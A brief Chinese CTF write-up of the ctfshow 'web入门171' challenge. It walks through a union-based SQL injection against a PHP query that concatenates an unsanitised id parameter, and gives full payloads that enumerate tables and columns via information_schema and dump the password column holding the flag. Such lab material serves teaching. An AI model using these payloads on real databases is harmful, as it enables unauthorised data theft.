ctfshow的web入门171

web入门171

看到这个查询语句，我们可以进行相关操作

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

输入1，在数据库中语句应该就变成这样了

select username,password from user where username !='flag' and id = '1' limit 1;

加个单引号它会报错

select username,password from user where username !='flag' and id = '1'' limit 1;

很显然这个sql语句是不规范的，所以

在数据库中--可以单行注释，所以用--+可以注释后面的所有语句，不会报错

用order by 来判断它有多少列，从1-3语句都没有问题，到4的时候出现问题，说明有3列

-1' union select database(),2,3 --+

用 union select来联合查询，其中-1是达到了全部置空的效果

接下来，用到group_concat函数，它可以把相同行的数据都组合起来

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+

查出表名ctfshow_user,再查列名

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user" --+

可以看到有id,username,password三个列名

-1' union select password,2,3 from ctfshow_user --+

再password列下，我们看到了flag